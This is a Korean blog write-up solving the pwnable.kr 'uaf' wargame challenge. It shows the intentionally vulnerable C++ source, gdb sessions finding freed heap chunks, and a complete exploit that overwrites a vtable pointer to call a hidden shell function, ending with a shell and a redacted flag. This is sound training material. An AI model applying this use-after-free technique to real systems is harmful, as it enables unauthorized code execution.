White Security
Uaf 문제풀이 본문
Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest)
Toddler's Bottle 16번 문제
Use After Free 라는 메모리 참조
취약점을 다루는 문제입니다.
Use After Free 줄여서 UAF 취약점은
동일한 메모리 영역을 재할당하게 됨으로써 발생하는데요.
해제과정을 거친 메모리에 접근하게 되면
세그먼트 폴트 에러가 발생하는데
동일한 부분을 재할당하여 다른 데이터를 채워넣는 것으로
의도치 못한 동작을 야기할 수 있습니다.
#include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
소스를 살펴보면
Human 클래스에서 상속받는
Man, Woman 클래스가 존재하고
Human 클래스 멤버함수 중에는
system 함수를 통해 쉘을 부여해주는
give_shell 함수가 존재합니다.
그리고 사용자 입력을 받아
자유롭게 use after free 과정을 수행할 수 있고
use 과정 내에서 멤버함수인
introduce를 호출하는데
이를 조작하여
give_shell 함수를 호출하도록 하면 되겠네요.
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38] ; case 1 0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax] 0x0000000000400fd4 <+272>: add rax,0x8 0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax] 0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38] 0x0000000000400fdf <+283>: mov rdi,rax 0x0000000000400fe2 <+286>: call rdx ; m->introduce() 0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax] 0x0000000000400feb <+295>: add rax,0x8 0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax] 0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400ff6 <+306>: mov rdi,rax 0x0000000000400ff9 <+309>: call rdx ; w->introduce() 0x0000000000400ffb <+311>: jmp 0x4010a9 <main+485>
gdb에서 어셈블리로 변환하여 살피면
rbp-0x38 에 저장된 주소에서
다시 저장된 주소를 이중으로 참조하여
주소에 8을 더하여 호출합니다.
주소를 가져오는 과정을
실제로 살펴보겠습니다.
(gdb) b *main+265 Breakpoint 1 at 0x400fcd (gdb) r Starting program: /home/uaf/uaf 1. use 2. after 3. free 1 Breakpoint 1, 0x0000000000400fcd in main () (gdb) x/a $rbp-0x38 0x7ffec6e7b388: 0x1391c50 (gdb) x/a 0x1391c50 0x1391c50: 0x401570 <_ZTV3Man+16> (gdb) x/a 0x401570 0x401570 <_ZTV3Man+16>: 0x40117a <_ZN5Human10give_shellEv> (gdb) x/a 0x401570 + 0x8 0x401578 <_ZTV3Man+24>: 0x4012d2 <_ZN3Man9introduceEv>
case 1 의 앞부분에 브레이크 포인트를 걸어준 후 이동해서
rbp-0x38 을 확인하니 0x1391c50 이 나왔고
다시 참조하니 0x401570 이 나왔습니다.
0x401570이 우리의 목표인 give_shell 함수 주소인데
거기에서 8을 더하여 호출하니
0x401578 내의 introduce 함수가 호출되는 것입니다.
0x401570 - 0x8 = 0x401568
8을 더하는 것은 확정된 사항이므로
참조 주소를 0x401570 에서 8을 뺀
0x401568 으로 변경해 주면 되겠습니다.
case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break;
case 2 를 확인해보면
바이너리 실행시의 인자를 통해
할당할 메모리 크기와
내용을 읽어올 파일을 자유롭게
지정할 수 있도록 하고 있습니다.
python -c "print 'a'*500" > /tmp/input b *main+65 ; new Man("Jack", 25) b *main+154 ; new Woman("Jill", 21); b *main+353 ; new char[len]
따라서 tmp 폴더 내의 편한 경로에
할당한 공간이라는 것을
구분할 수 있도록 적절히 내용을 저장해 두고
메모리를 할당하는 new 함수 수행 직후에
브레이크 포인트를 걸어
실제로 할당된 주소가 어디인지 확인할 수 있도록 했습니다.
(gdb) r 100 /tmp/input Starting program: /home/uaf/uaf 100 /tmp/input Breakpoint 1, 0x0000000000400f05 in main () (gdb) i r eax eax 0xa40c50 10751056 ; new Man (gdb) c Continuing. Breakpoint 4, 0x0000000000400f63 in main () (gdb) i r eax eax 0xa40ca0 10751136 ; new Woman (gdb) c Continuing. 1. use 2. after 3. free 3 1. use 2. after 3. free 2 Breakpoint 2, 0x0000000000401025 in main () (gdb) i r eax eax 0xa414e0 10753248 ; new char[len]
메모리를 해제해 준 후
100 바이트의 메모리를 할당했는데
해제한 객체의 외부 주소가 할당되었습니다.
이런 경우, 할당 메모리 크기를 조금씩 조정해주면
직전 해제한 메모리 영역에 접근할 수 있습니다.
(gdb) r 24 /tmp/input Starting program: /home/uaf/uaf 24 /tmp/input Breakpoint 1, 0x0000000000400f05 in main () (gdb) i r eax eax 0x246bc50 38190160 (gdb) c Continuing. Breakpoint 4, 0x0000000000400f63 in main () (gdb) i r eax eax 0x246bca0 38190240 (gdb) c Continuing. 1. use 2. after 3. free 3 1. use 2. after 3. free 2 Breakpoint 2, 0x0000000000401025 in main () (gdb) i r eax eax 0x246bca0 38190240 (gdb) c Continuing. your data is allocated 1. use 2. after 3. free 2 Breakpoint 2, 0x0000000000401025 in main () (gdb) i r eax eax 0x246bc50 38190160
확인 결과 24 바이트 이하의 메모리를 할당하면
해제된 w의 영역을 얻을 수 있었습니다.
그리고 재차 할당해주면
m의 영역을 가져옵니다.
uaf@ubuntu:~$ printf "\x68\x15\x40\x00" > /tmp/input uaf@ubuntu:~$ ./uaf 4 /tmp/input 1. use 2. after 3. free 3 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 1 $ ls flag uaf uaf.cpp $ cat flag ###_####_#####_######
give_shell 함수의 주소에서 8을 뺀
0x00401568 주소로 덮어씌우고 introduce 를 호출하여
쉘을 얻어낼 수 있었습니다.
'Wargame Writeups > pwnable.kr' 카테고리의 다른 글
Cmd2 문제풀이 (0) | 2019.02.11 |
---|---|
Cmd1 문제풀이 (0) | 2019.02.10 |
Lotto 문제풀이 (0) | 2019.02.10 |
Blackjack 문제풀이 (0) | 2019.02.10 |
Coin1 문제풀이 (0) | 2019.02.09 |